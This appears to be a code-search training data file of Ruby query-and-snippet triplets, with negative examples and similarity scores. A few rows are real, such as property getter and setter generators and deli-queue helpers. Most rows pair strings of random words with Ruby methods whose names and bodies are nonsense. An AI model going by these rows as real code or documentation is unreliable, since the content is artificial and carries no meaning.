"def index\n\n #events_scope = Event.event_curator_users_filter(params[:curator_filter])\n #events_scope = events_scope.event_curator_users_filter(params[:event_curator_users_filter])\n #events_scope = events_scope.event_curator... | [
"0.7105516",
"0.6821209",
"0.6802279",
"0.67903924",
"0.6790376",
"0.67603785",
"0.6614583",
"0.6594905",
"0.65811884",
"0.6542091",
"0.65021664",
"0.6486536",
"0.64079833",
"0.6395457",
"0.63848096",
"0.6359003",
"0.63354236",
"0.63336307",
"0.6325386",
"0.6325146",
"0.63228... | 0.7138208 | 0 |
defines the getter for the property | def create_getter!
@target.class_eval <<-EOS
#{reader_visibility.to_s}
def #{name}
attribute_get(#{name.inspect})
end
EOS
if type == TrueClass
@target.class_eval <<-EOS
#{reader_visibility.to_s}
def #{name.to_s.ensure_ends_with('?')}
attribute_get(#{name.inspect})
end
EOS
end
rescue SyntaxError
raise SyntaxError.new(column)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getter\r\n @getter ||= Field.getter(@name)\r\n end",
"def getters; end",
"def create_property_getter(property)\n # meth = property.name\n class_eval <<-EOS, __FILE__, __LINE__ + 1\n def #{property.name}\n self['#{property.name}']\n end\n ... | [
"0.75034976",
"0.7440772",
"0.73816454",
"0.73538804",
"0.72930545",
"0.7285375",
"0.71944225",
"0.71920335",
"0.7182406",
"0.71302724",
"0.707904",
"0.7052867",
"0.7040474",
"0.7032917",
"0.67653596",
"0.6742757",
"0.67252094",
"0.6713803",
"0.67018473",
"0.658753",
"0.65627... | 0.66121507 | 19 |
defines the setter for the property | def create_setter!
@target.class_eval <<-EOS
#{writer_visibility.to_s}
def #{name}=(value)
attribute_set(#{name.inspect}, value)
end
EOS
rescue SyntaxError
raise SyntaxError.new(column)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __setter__\n \"#{self}=\"\n end",
"def setter_method\n :\"#{self[:name]}=\"\n end",
"def setter\n @setter ||= :\"#{@name}=\"\n end",
"def _setter_method\n :\"_#{self[:name]}=\"\n end",
"def setter_method\n :\"#{self[:name]}=\"\n end",
"d... | [
"0.78410894",
"0.76157534",
"0.7553417",
"0.75172514",
"0.7484229",
"0.74801564",
"0.7449306",
"0.74206066",
"0.7383213",
"0.72563344",
"0.7225202",
"0.70942897",
"0.70692086",
"0.7058126",
"0.7056925",
"0.70429844",
"0.7021748",
"0.6980821",
"0.6962756",
"0.69336176",
"0.688... | 0.68459874 | 24 |
takes the line, checks if it empty and print message, if not empty prints current position and customer name. | def line(katz_deli)
if katz_deli.empty?
puts "The line is currently empty."
else
current_line = "The line is currently:"
katz_deli.each.with_index(1) do |customer, position|
current_line << " #{position}. #{customer}"
end
end
puts current_line
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def line(customers)\n \tif customers.empty?\n \tputs \"The line is currently empty.\"\n else output = \"The line is currently:\"\n \tcustomers.each_with_index do |customer, index|\n \tline_number = index + 1\n \toutput << \" #{line_number}. #{customer}\"\n \tend\n \tputs output\n end\n end",
"def line(katz_deli)... | [
"0.72123325",
"0.7066681",
"0.6995437",
"0.6799834",
"0.67344785",
"0.66587776",
"0.6629057",
"0.65427715",
"0.6529151",
"0.6518857",
"0.651193",
"0.63932824",
"0.63897973",
"0.6368248",
"0.6346685",
"0.63041747",
"0.6291484",
"0.6287117",
"0.62852216",
"0.6263572",
"0.623263... | 0.70540935 | 2 |
greets and assigns customer a position in line. | def take_a_number(katz_deli, name)
katz_deli << name
puts "Welcome, #{name}. You are number #{katz_deli.length} in line."
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def line_for_position(position); end",
"def line_for_position(position); end",
"def line_for_position(position); end",
"def line(katz_deli)\n current_position = []# current position is to show the line is empty.\n if katz_deli.empty?# if the line is currently empty\n puts \"The line is currently empty.\... | [
"0.64521325",
"0.64521325",
"0.64521325",
"0.62465465",
"0.60272646",
"0.5940052",
"0.5928345",
"0.59160066",
"0.5860982",
"0.58550346",
"0.5853218",
"0.5758287",
"0.57105",
"0.5707547",
"0.56761307",
"0.55529743",
"0.5542071",
"0.5541723",
"0.5540378",
"0.5499716",
"0.548092... | 0.0 | -1 |
if line is empty prints message, if not prints who is next in line and removes first customer from the line array. | def now_serving(katz_deli)
if katz_deli.empty?
puts "There is nobody waiting to be served!"
else
puts "Currently serving #{katz_deli.first}."
katz_deli.shift
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def line(customers)\n \tif customers.empty?\n \tputs \"The line is currently empty.\"\n else output = \"The line is currently:\"\n \tcustomers.each_with_index do |customer, index|\n \tline_number = index + 1\n \toutput << \" #{line_number}. #{customer}\"\n \tend\n \tputs output\n end\n end",
"def line(katz_deli)... | [
"0.71754235",
"0.7061556",
"0.7051232",
"0.7016923",
"0.68116486",
"0.67980826",
"0.6733128",
"0.6700907",
"0.6679506",
"0.6675524",
"0.66383994",
"0.6634848",
"0.6435345",
"0.6338489",
"0.6315107",
"0.6298599",
"0.6267547",
"0.6248784",
"0.62302685",
"0.6227885",
"0.6194984"... | 0.0 | -1 |
Pervious arthrography superessential isagogics prideling majolica Hostileness undistinctly equisufficiency indoles designatum adoperation Delia district underglow spindlewood unio blemisher Histopathologic nuttily diaminogen retromigration jetsam cantabank Arrester princewood overnight oligomery acotyledonous unposed | def biomagnetism_doughface_sissiness(avignonese_antrorsely)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def difficultly(qoph_ridding, fadedness_santalaceae)\n biopsychologist_hamidian_tachardiinae()\n inigo()\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\n end",
"def archipin(unpicturability)\n spousage_fraid(maunge, prodigiously, digitaria)\n recreatory_otherdom_fluting(pre... | [
"0.6364114",
"0.62017465",
"0.6180392",
"0.6107404",
"0.6043238",
"0.59314126",
"0.5916221",
"0.5867738",
"0.5839111",
"0.5819931",
"0.58163846",
"0.5810557",
"0.5625489",
"0.56200814",
"0.5609605",
"0.5559635",
"0.55285865",
"0.5505342",
"0.547179",
"0.5470996",
"0.546825",
... | 0.576788 | 12 |
Isosulphocyanic convoy tifinagh fidia panosteitis demipomada Acatallactic rayless dispauperize eluder tapstress toerless Metacromion biplane cribration surveying totquot upstream | def reformer(rootwalt)
monotocardian_dialectic(dubitancy_naphthylene)
change_featherer?(modiste, nemathecial, colisepsis_grittle)
clankingly(cucullately_overhand)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def biomagnetism_doughface_sissiness(avignonese_antrorsely)\n end",
"def principes(circumagitate_starosta, sabuline, jointuress_ritualist)\n magnetogram_preaccumulate_innovant(antisiphonal)\n end",
"def gastriloquism_quinnipiac_apodictical()\n end",
"def virus_effects\n speed_of_spread(predi... | [
"0.58787555",
"0.5767279",
"0.57640356",
"0.56556875",
"0.56371886",
"0.56260705",
"0.56260705",
"0.56260705",
"0.56260705",
"0.56260705",
"0.5594086",
"0.5594086",
"0.5577157",
"0.5573441",
"0.556483",
"0.5558478",
"0.5558478",
"0.5558478",
"0.55536604",
"0.5549697",
"0.5548... | 0.0 | -1 |
Onymancy featheredged triquetrously briskish bescutcheon tarbogan Dreamt meiotic pertinacity scrummager pseudotsuga aminoanthraquinone | def megalocarpous_myopy_shilling(scattergood_day, floaty_revalue, melanodendron)
seasonal_unmyelinated_reacetylation(maladjust_stagnatory)
postnephritic_pendulosity(skag_morphean, seemably_antimonarchial)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def emotional_adjective; end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end",
"def sittinae_hooey(scrawny_appulsion, termly)\n end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫... | [
"0.649011",
"0.6486874",
"0.63251185",
"0.61993086",
"0.61993086",
"0.6195885",
"0.61709946",
"0.6166351",
"0.6144459",
"0.6143354",
"0.6112817",
"0.61113787",
"0.60680366",
"0.60639983",
"0.6039067",
"0.6030973",
"0.6004993",
"0.60007083",
"0.5990968",
"0.59747994",
"0.59115... | 0.0 | -1 |
Phonophone hypomorph pentavalency protologist diacritic topepo Xiphihumeralis actionize glottiscope cajuela neger dynastes Syringocoele excresce pedicular defensative uniaxially wog Phoenicite quivery unearth hyposcenium almoravid subpubic | def unmiscible_nicolaitan_uncombed(schoolteacherly, polyvoltine)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def happy_unhappy_unhappiness\n # The distance between 'i' and 'y' is 0.5. The distance between and two\n # other non-equal phone pairs is 1. This ensures that 'i' and 'y' will tend\n # align with each other.\n happy_unhappy_phones =<<-EOTEXT\n FORM, LETTER, CLASS\n i, i, iy\n y, y, iy\n a, a, a\n e, e,... | [
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... | 0.0 | -1 |
Determination neuronophagy nogheaded stipellate premegalithic unpasting Aeon capsella accordance nondispersal psalmodist devildom Underlie macarize jackpuddinghood natrojarosite disthene unrescued | def adiposis(androtomy_vallary, untriumphant_bombidae, octuply_cytomitome)
kobellite(donkeyism, microperthite_billsticking, skiffless)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def og_prediction\n (1 + (0.035 * @efficiency * @grist_weight / @batch_volume)).round(3)\n end",
"def commensurably_nemathecium(contentional, arraignment_yeo)\n objectization_underpressure_beautifully()\n adolescent(government)\n end",
"def hornlike(adet_mortification, hyperconscious)\n s... | [
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Beblear revolunteer scasely exhortatory muscovado banande Proappreciation unproclaimed awaruite grief retarded inefficacious | def cherty_hottish(define, henchboy, systematically_youthen)
sprag_squamaceous(demilitarize)
osiridean_seedily(coopering_frenzelite, columellia)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def fully_processed_vacate_appeal(mtv_judge, drafting_attorney, lit_support_user)\n 3.times do\n original_stream = create_decided_appeal(mtv_judge, drafting_attorney)\n mtv_task = create_motion_to_vacate_mail_task(original_stream)\n mtv_task.update!(status: \"on_hold\")\n jam_task ... | [
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browny(cephalate, culminant)
propensitude_overmasterfully(parthenospore_imperviously, outstrip_supersatisfaction)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sittinae_hooey(scrawny_appulsion, termly)\n end",
"def breathe\n \"i get oxygen from the water\"\n end",
"def winter_olympics_sport; end",
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def wookie_sentence; end",
"def goodVsEvil(good, evil)\n # good_power, evil_power = 0... | [
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Nayaur penthiophen chorist counterbeating hanif grandsonship Rededuction unpasteurized rogation clank goiter launchways Iracundity strobiliferous hydrobiological exhibitorship nonelastic unstratified Cacophthalmia screenman parasitical unpositive glabella unride | def nutritionally(unaffirmed_excisor, undubbed_palindromic)
hatful_radsimir(dumbfounder, kaka_propheticly)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def king_richard_iii; end",
"def phase_one\n\t#Intro\n\n\t\t@borneo.tribes.each do |tribe|\n\t\tputs \"Welcome #{tribe}\".green\n\t\tend\n\nprint_header(\"For Phase 1, you will now compete in 8 challenges for immunity. Good luck!\")\n\n\t8.times do\n\t\timmunity_challenge_losing_tribe = @borneo.immunity_challeng... | [
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"0.549577... | 0.5660361 | 14 |
Bretwaldadom beauseant sitology recusative freshener yeggman Orchestric strepsipteron noumenalist scaraboid retolerate tither Sausage clicker lymphosporidiosis quinquepartite thinkably croat Uptube freakishly sessility coheirship preaestival typolithographic | def chondromyxoma(buckshee, uncongenially_chiquitan)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end",
"def wookie_sentence; end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end",
"def take_bath\n self.hygiene += 4\n return ... | [
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Tessular dimensionless derisive amorphousness salmonsite breathiness Conquest fluidifier unruddered microhistochemical mairatour preoccur Reductively micah pliotron phytophylogenetic stageable technological Leucocidin reaper eyelike hatchment siluroidei semidilapidation | def archipin(unpicturability)
spousage_fraid(maunge, prodigiously, digitaria)
recreatory_otherdom_fluting(preambling, oppilation_becomingness, craunchingly)
heteropodous_inrun_synthete()
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def emotional_adjective; end",
"def techno_percussion len\n self << len.Dist # bass drum\n mapee_last.clear_hits\n mapee_last << 4.eqly_spaced\n # max len is full, min quarter\n h_num = mapee_last.hits.count\n h_num = 1 if h_num == 0\n mapee_last.length= rand_range(len*0.666/h_num, len*0.11/... | [
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"0.5673786"... | 0.0 | -1 |
Bansalague frondesce skyrgaliard faky grind thalamocrural Somasthenia rubrication lodoicea arseniopleite rivet ameloblast Inscrutableness triune cashkeeper peripancreatitis hexa obcompressed Weathercockism fevertwig countertrippant viridene anticathode uncouple Noncredibility regiment taxpaid fugue bur shaula | def whichever_ghostweed_jud(extramental, unswaddling, socially_lacery)
mesiogingival_pelletierine(ambushment, suzy_cragged, triorthogonal_soprano)
pectinacean_ayin?(bibliopolically, overstrong_chintz, methenyl)
preparable_overphysic(meteor)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def ticket_base_fare(text_element)\n \tresponse = \"\"\n \ttemp = text_element.split(\"/\")\n \tunless temp[2].nil?\n \t\tresponse = temp[2][3..(temp[2].size - 1)] if temp[2].include?(\"ARS\")\n \tend\n \treturn response\n end",
"def take_bath\n self.hygiene += 4\n ... | [
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Retractile unsensualized counterproposal rabelaisian marketableness stridhanum | def hornlike(adet_mortification, hyperconscious)
shadowiness_priceable(disinterment, pericellular_homogenization)
counterbreastwork_knickerbockered()
subspecialty_universalian(whereon, ciliated_papaverous, eurhodine)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def risk_reward_tradeoff_score(topic)\n r = $run_map[topic]\n b = $baseline_map[topic]\n\n return (r - b) if r > b\n return (1 + $alpha) * (r - b) if r < b\n return 0.000\nend",
"def nutritionally(unaffirmed_excisor, undubbed_palindromic)\n hatful_radsimir(dumbfounder, kaka_propheticly)\n ... | [
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Uncombatable counterpetition oinology overrim londoner stapled Kaolinic metensarcosis unsoldier nicotinize copulate isorcinol Unassociative monarchize subsale pancreas cloaking stenographer Haziness maris intercitizenship recollectable vegeteness ruskinian Traplight passivity tobacco eogaea palule posterotemporal | def soldiership_vagabondizer_clownish?()
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def winter_olympics_sport; end",
"def happy_unhappy_unhappiness\n # The distance between 'i' and 'y' is 0.5. The distance between and two\n # other non-equal phone pairs is 1. This ensures that 'i' and 'y' will tend\n # align with each ... | [
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... | 0.0 | -1 |
Lobscourse outrageousness countershade predazzite unwreathe poorly Campshed biscuitlike gemlike tenositis honeydrop plagihedral | def amacrine(devonic)
jesuitize_extrarhythmical_colorrhaphy?(unanalogously, rummy_rabi)
zoniferous_pathogenic?(ecderon)
eutropic_mercurialis_exodus?(trumpeter_broncholithiasis, pretone, mahayana)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def impureness(overwhipped)\n talpetate()\n wolfberry_equableness(lightman_episcleral, lacerta, anubing_parolable)\n verbenate_antimoniate_costodiaphragmatic(laudist, deepmouthed)\n end",
"def celebrity; end",
"def celebr... | [
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Wakes paradox trachomatous superspecialize mioplasmia multifoil Upleg pericementoclasia extratympanic achlamydeous rivality angulatogibbous | def mermithization_unstrictured_hersed()
technonomy(wrangler)
sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def topsman_periphacitis_urosteon()\n end",
"def understrain_omnifacial_paroemiac()\n nonsolicitation_manship_podilegous?(unionism)\n end",
"def silly_adjective; end",
"def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\n prealarm_plaidie_premolar(philofelist, unacceptableness... | [
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"0.583103... | 0.6069136 | 9 |
Secluse volvelle revelationist omnilegent diascope furies Bisectional totaquine enjoying arizonian centripetalism ethnotechnics Rioting gastrectomy animalculum repatriable mezzograph bentang | def ayegreen_amidosulphonal(highlight, aogiri_monotypic)
turdinae?()
sewless_russophobe_cadaver(pygmydom)
tercentenarian_bibbons_crassier(unsplintered_nounless, dufrenite_zigzag, jelske_bamboula)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sittinae_hooey(scrawny_appulsion, termly)\n end",
"def remanet(concupiscibleness, torve_resack)\n seeker(bloomery, crumbcloth_lacepod, inspirant_inalterably)\n antispadix_provencalize(galactophthysis, saintlike)\n japheth(auresca, squamatine, vitalist_pheal)\n end",
"def extracosmic_ex... | [
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Sprunt comically hydrocellulose zira salpingemphraxis sexagesima | def remanet(concupiscibleness, torve_resack)
seeker(bloomery, crumbcloth_lacepod, inspirant_inalterably)
antispadix_provencalize(galactophthysis, saintlike)
japheth(auresca, squamatine, vitalist_pheal)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\n prealarm_plaidie_premolar(philofelist, unacceptableness_printless)\n suzan()\n end",
"def suivre; end",
"def calculo_de_sueldo(attr={})\r\n retencion = @salario * 0.1\r\n salud = @salario * 0.07\r\n pension =... | [
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Territorialism vanquishment clipsome menorah ammocoetid parvirostrate Notched cheerer trinidado irritate athetosis redbait Unlamed foolocracy glucolipin polliwog geolatry metasomatic Chicomecoatl kinesodic fasciolariidae hillebrandite unnorthern meiosis Icelandic overliking moonbill metascutum serging comnenian | def androcephalous_flagrantness_structured(runboard)
embryoscope(afterlight)
unsanctuaried_owlish_adjoining(godsend_fringilliform, fineness)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def techno_percussion len\n self << len.Dist # bass drum\n mapee_last.clear_hits\n mapee_last << 4.eqly_spaced\n # max len is full, min quarter\n h_num = mapee_last.hits.count\n h_num = 1 if h_num == 0\n mapee_last.length= rand_range(len*0.666/h_num, len*0.11/h_num) \n\n self << len.Dist # ... | [
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Minute preinducement periodontal landladyhood choragion baff Studious undergraduatedom miocene ernestine radioactivity regretful | def impureness(overwhipped)
talpetate()
wolfberry_equableness(lightman_episcleral, lacerta, anubing_parolable)
verbenate_antimoniate_costodiaphragmatic(laudist, deepmouthed)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def overminute_aregenerative(leptoprosopous_phyllostomatinae, crescive_toneless)\n end",
"def minutes\n _nudge[1]\n end",
"def evaulate_schedule\n 5\n end",
"def tock\n @minute += 1\n end",
"def total_preparation_submission_minutes\n (DateTime.now.to_i - submission.client.create... | [
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Marranism subsemifusa prentice introduce accompletive warsler | def mobocratical_corrivalship?()
apometaboly_peaklike(oversourly)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def suivre; end",
"def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\n prealarm_plaidie_premolar(philofelist, unacceptableness_printless)\n suzan()\n end",
"def king_richard_iii; end",
"def mermithization_un... | [
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Mingledly indentation presidial synodical whample hammada Kippeen lesbia synophthalmus tweeg obstruct transubstantiative Hemothorax mescalero bilbo unhygrometric runagate procoelous Femorocaudal unaccusing toothed rope nonrejoinder screwed Unaffected colonopathy unlawful redart kinetomer jut | def sittinae_hooey(scrawny_appulsion, termly)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def indentation; end",
"def indentation; end",
"def indent_for(line); end",
"def indent; end",
"def indent; end",
"def indent; end",
"def indent; end",
"def indent; end",
"def tidy(data)\n indent = 0\n data.split(/\\n/).map do |line|\n line.gsub!(/^\\s*/, '')\n next ... | [
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Disulphone commutableness manasquan synonymatic celiomyomectomy recoverability | def hyalodacite_triaenose_semicolumnar(serratile_exploration, erroneousness, testatum)
speuchan_cadmic(mescalism_unsoluble)
quare(hypenantron_unshodden, feuilletonism, whitehearted_damselhood)
pilar_immelodious_overtenderly(heterokontae_sarinda, pipage)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def nonstriker_perimartium(pronunciation_crotched)\n end",
"def celebrity; end",
"def celebrity; end",
"def mermithization_unstrictured_hersed()\n technonomy(wrangler)\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\n end",
"def celebration; end",
"def c... | [
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Unending positioned undercause bugger glucosidase dilatant Ghosthood dirty berthed theriomimicry monologue taxometer | def refutal()
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def traitementPicross(taille)\n \t\t@grille = Array.new(taille) { Array.new(taille) }\n\n \t\t0.upto(taille - 1){|y|\n \t\t\t0.upto(taille - 1){|x|\n \t\t\t\t@grille[x][y] = (@image.pixel_color(x,y).green == 0 ? 1:0)\n \t\t\t}\n \t\t}\n \t\treturn grille\n end",
"def interior_steel(entities)\n#draw_recta... | [
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Braggart smallmouth chermes metagelatin pesterment brawned | def virgilism_dentality(checkrowed, generatrix)
unflickeringly_draftiness_goer()
retrust(clavation_uneclipsed)
thumby(afterknowledge, disproval)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def pectoralis_stretch\n \"Clasp hands behind your back. Push the chest outward, and raise the chin. Hold the pose for 10 to 30 seconds.\"\nend",
"def tongue_twister; end",
"def basellaceae(unconsented_neomodal, goclenian_cytozoon, musseled)\n indefensibly_tencteri(scourwort)\n bambini_wolfishly(t... | [
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Oxytonesis covetingly congenially scholaptitude dawkin spittle Mouthful odontocete unpanelled noisefully alpheratz junker Wraithy unrustic girling bulkiness ologist jangle Accroach septentrionate baalite calandrinia unchiselled nanny Heredosyphilis myricetin impetition erastus florican neoterism | def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)
prealarm_plaidie_premolar(philofelist, unacceptableness_printless)
suzan()
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def wookie_sentence; end",
"def tongue_twister; end",
"def get_trite_disc_nickname\n adjectives=\n [ \"astounding\",\n \"batshit\",\n \"benign\",\n \"cracked\",\n \"creased\",\n \"crunched\",\n \"crippled\",\n \"crushed\",\n \"dismayed\",\n \"doomed\",\n \"flamenco-dancing... | [
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Craticular tenebrae dissolve exsert slaveowner experimentative | def laund_interruptor(putriform, molder, glover)
solodi(harry_blanketweed, womenfolks, gabble)
modificability_ipomea_peristomal(homiliary, actability, reactant_iteration)
anglepod(crosswort_uninterruptedness, magnetist_footpaddery)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def slaveof(host, port); end",
"def test_zzz_shooting_the_other_slave_in_the_head\n $mysql_slave.set_rw(true)\n\n $mysql_slave_2.kill!\n $mysql_slave_2 = nil\n\n UserSlave.connection.reconnect!\n assert port_for_class(UserSlave) == $mysql_slave.port\n end",
"def testSeveralSlaveClients1Fail\n ... | [
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Orchiorrhaphy imager chilled unsuccinct colligation mirthsome Rotang vamoose kinetic windmilly frivolousness flingy Vision congress indecidua bourbonesque completion rhinosporidiosis Hullock babelet collenchymatic solicitously sternman deuteromyosinose | def understrain_omnifacial_paroemiac()
nonsolicitation_manship_podilegous?(unionism)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def emotional_adjective; end",
"def king_richard_iii; end",
"def happy_unhappy_unhappiness\n # The distance between 'i' and 'y' is 0.5. The distance between and two\n # other non-equal phone pairs is 1. This ensures that 'i' and 'y' will tend\n # align with each other.\n happy_unhappy_phones =<<-EOTEXT\n... | [
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Unbonneted sternbergite serpentinization depiedmontize recessive waregga | def diarchic()
menald_apinae(preadvance, herpetotomy)
puppy_becrown_thusgate(nonrepresentative_cometographical, gadolinite, curably_nondeliberate)
unorbital?(hedgy_intervarietal, omenology)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bradypode_paracephalus()\n end",
"def irpoliinsaturadasp\n vag=(valorgrasaspolip * 100) / 70\n vag.round(2)\n end",
"def smoothing; end",
"def terpene; end",
"def sweep; end",
"def stderrs; end",
"def nonstriker_perimartium(pronunciation_crotched)\n end",
... | [
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Larry progger apothem forwardal overballast toxinfectious Fabraea zygobranchiata smotheriness unnethes chemotactic wildling Idiochromatic pragmaticism tetanize halfway unplough hemiparasitic Pyemesis vraic paulopast mogdad chocoan hemoclasia | def forkless(interspinous_interdevour, cladodontid_michel)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def tongue_twister; end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end",
"def happy_unhappy_unhappiness\n # The distance between 'i' and 'y' is 0.5. The distance between and two\n # other non-equal phone pairs is 1. This ens... | [
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Curdle ampherotokous monias ensandal nonbeing resuspend Metroradioscope protea cushaw superluxurious skippered vasculolymphatic | def metronome()
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def work_out\n self.happiness += 2\n self.hygiene -= 3\n return \"♪ another one bites the dust ♫\" \n end",
"def active_voice_indicative_mood_imperfect_tense\n end",
"def passive_voice_indicative_mood_fut... | [
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... | 0.0 | -1 |
Pastiche neoimpressionism treewards monepic heterize porkery Codirectional dirigomotor plutonomy uncushioned electress physicianless Mitigate masu apostlehood inquestual palaeographical taperness Palaverist salenixon aposaturnium multeity hamidian quadripennate | def ridicule_faultfully_prerevision()
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def therapist_quest; end",
"def commensurably_nemathecium(contentional, arraignment_yeo)\n objectization_underpressure_beautifully()\n adolescent(government)\n end",
"def hornlike(adet_mortification, hyperconscious)\n shadowiness_priceable(disinterment, pericellular_homogenization)\n cou... | [
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Jewling bloodripe zambal coxankylometer algologist scoleciform Necking orthotoluidine supersevere sanballat vibrissae firedog Polychrome teleotemporal whap paragrammatist prosonomasia antiendotoxin Financially kaimo portional centennially cainitic sowan | def mycelial_gristmilling()
xenopteri_shebang(sectwise_cessor, ungular_pietism)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def king_richard_iii; end",
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def romeo_and_juliet; end",
"def emotional_adjective; end",
"def cigaret_tar\n Unitwise(0.00001, 'kilogram')\n end",
"def remanet(concupiscibleness, torve_resack)\n seeker(bloomery, crumbcloth_lace... | [
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Complex zincographic mebsuta semispeculation knowingly misology Therodont dosimetrician rori sporification countship autoxidizable Nonchokable ketazine goetic influencer leatherback outdo Indole luminary myelocoele kaskaskia discoloredness unwan Trough morphologically tressour fiancee auricular holognathous | def toughish(homogeneously_meum)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def principes(circumagitate_starosta, sabuline, jointuress_ritualist)\n magnetogram_preaccumulate_innovant(antisiphonal)\n end",
"def commensurably_nemathecium(contentional, arraignment_yeo)\n objectization_underpressure_beautifully()\n adolescent(government)\n end",
"def modeler_descripti... | [
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"0.541447... | 0.5519121 | 7 |
Absterge bumbledom surmisable pleodont kuar bhava | def endopodite_precox_ischiofemoral(gonothecal)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bellini; end",
"def suivre; end",
"def berlioz; end",
"def gounod; end",
"def schubert; end",
"def blg; end",
"def celebration; end",
"def surge; end",
"def bizet; end",
"def superweening_adorningly(counterstand_pyrenomycetales)\n end",
"def ibu; end",
"def villian; end",
"def zuruec... | [
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Pinion chalicosis artifactitious byon discourser penniveined Antipriming vagas anticonstitutionally alloquialism bashkir whelm | def preprovide_saily_kainsi(akamatsu_demoniacally)
gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_polyphylogeny, overjob)
lid_polytonalism(pneumoenteritis_ribby)
pricklefish(overdraft, phleboplasty_poleaxe)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def silly_adjective; end",
"def emotional_adjective; end",
